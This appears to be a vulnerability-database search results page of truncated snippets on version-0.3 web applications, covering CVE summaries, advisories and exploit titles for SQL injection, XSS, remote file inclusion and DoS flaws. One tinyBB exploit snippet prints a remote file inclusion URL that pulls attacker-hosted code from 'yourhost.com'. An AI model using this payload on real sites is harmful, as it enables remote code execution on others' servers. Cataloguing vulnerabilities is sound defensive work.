335 matches found
Mambo Component pc_cookbook 0.3 - Remote File Inclusion
--------------------------------------------------------------------------------- pccookbook Joomla Component = v0.3 Remote File Include Vulnerabilities --------------------------------------------------------------------------------- Author : Matdhule Contact : [email protected] Application :...
CVE-2006-3478
PHP remote file inclusion vulnerability in styles/default/globalheader.php in MyPHP CMS 0.3 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the domain parameter...
CVE-2006-2740
Multiple SQL injection vulnerabilities in Epicdesigns tinyBB 0.3 allow remote attackers to execute arbitrary SQL commands via the 1 q parameter in a forgot.php, and the 2 username and 3 password parameters in b login.php, and other unspecified vectors...
CVE-2006-2740
CVE-2006-2740 describes SQL injection vulnerabilities in the Epicdesigns tinyBB 0.3 package. The affected components are the login flow and forgot/password recovery vectors: specifically the (1) q parameter in forgot.php and the (2) username and (3) password parameters in login.php, plus other un...
CVE-2006-2739
CVE-2006-2739 is a PHP remote file inclusion vulnerability in the Epicdesigns tinyBB 0.3 package. When PHP register_globals is enabled, an attacker can cause arbitrary PHP code execution by exploiting the tinybb_footers parameter in footers.php. The public records describe the vulnerability and a...
CVE-2006-2639
Cross-site scripting XSS vulnerability in the input forms in prattmic and Master5006 PHPSimpleChoose 0.3 allows remote attackers to inject arbitrary web script or HTML via a javascript URI in the SRC attribute of an IMG element...
CVE-2006-2639
The CVE-2006-2639 entry documents a cross-site scripting (XSS) vulnerability in the input forms of prattmic and Master5006 PHPSimpleChoose 0.3. The underlying issue allows a remote attacker to inject arbitrary web script or HTML through a javascript: URI placed in the SRC attribute of an IMG elem...
CVE-2006-2639
Cross-site scripting XSS vulnerability in the input forms in prattmic and Master5006 PHPSimpleChoose 0.3 allows remote attackers to inject arbitrary web script or HTML via a javascript URI in the SRC attribute of an IMG element...
Advisory: tinyBB <= 0.3 Multiple Remote Vulnerabilities.
--Security Report-- Advisory: tinyBB = 0.3 Multiple Remote Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 05:37 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Epicdesigns http://www.epicdesigns.co.uk/...
tinyBB <= 0.3 Remote (Include / SQL Injection) Vulnerabilities
No description provided by source. tinyBB = 0.3 Multiple Remote Vulnerabilities Method found by nukedx, Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33...
tinyBB 0.3 - Remote File Inclusion SQL Injection
tinyBB 0.3 - Remote File Inclusion SQL Injection tinyBB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33 http://victim/tBBPath/footers.php?tinybbfooters=http://yourhost.com/cmd.txt?...
CVE-2005-4289
Cross-site scripting XSS vulnerability in EDCstore.pl in eDatCat 0.3 allows remote attackers to inject arbitrary web script or HTML via the useraction parameter...
CVE-2005-4289
Cross-site scripting XSS vulnerability in EDCstore.pl in eDatCat 0.3 allows remote attackers to inject arbitrary web script or HTML via the useraction parameter...
CVE-2005-4289
The CVE-2005-4289 entry describes a Cross‑site Scripting (XSS) vulnerability in EDCstore.pl of eDatCat 0.3. The flaw allows remote attackers to inject arbitrary web script or HTML via the user_action parameter. According to NVD, the impact is Partial Integrity with No Confidentiality or Availabil...
CVE-2005-3726
Interspire ArticleLive NX 0.3 contains an SQL injection vulnerability exploitable via the Query parameter. The affected software is Interspire ArticleLive NX 0.3, with the root cause described as improper handling of the Query parameter leading to arbitrary SQL execution. According to NVD, the CV...
[SECURITY] [DSA 896-1] New ftpd-ssl packages fix arbitrary code execution
-------------------------------------------------------------------------- Debian Security Advisory DSA 896-1 [email protected] http://www.debian.org/security/ Martin Schulze November 15th, 2005 http://www.debian.org/security/faq -...
CVE-2005-3492
FlatFrag 0.3 and earlier allows remote attackers to cause a denial of service crash by sending an NTCONNOK command from a client that is not connected, which triggers a null dereference...
CVE-2005-3492
FlatFrag 0.3 and earlier allows remote attackers to cause a denial of service crash by sending an NTCONNOK command from a client that is not connected, which triggers a null dereference...
FlatFrag 0.3 - Buffer Overflow (Denial of Service) (PoC)
/ by Luigi Auriemma / include include include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid char error; switchWSAGetLastError case 10004: error = "Interrupte...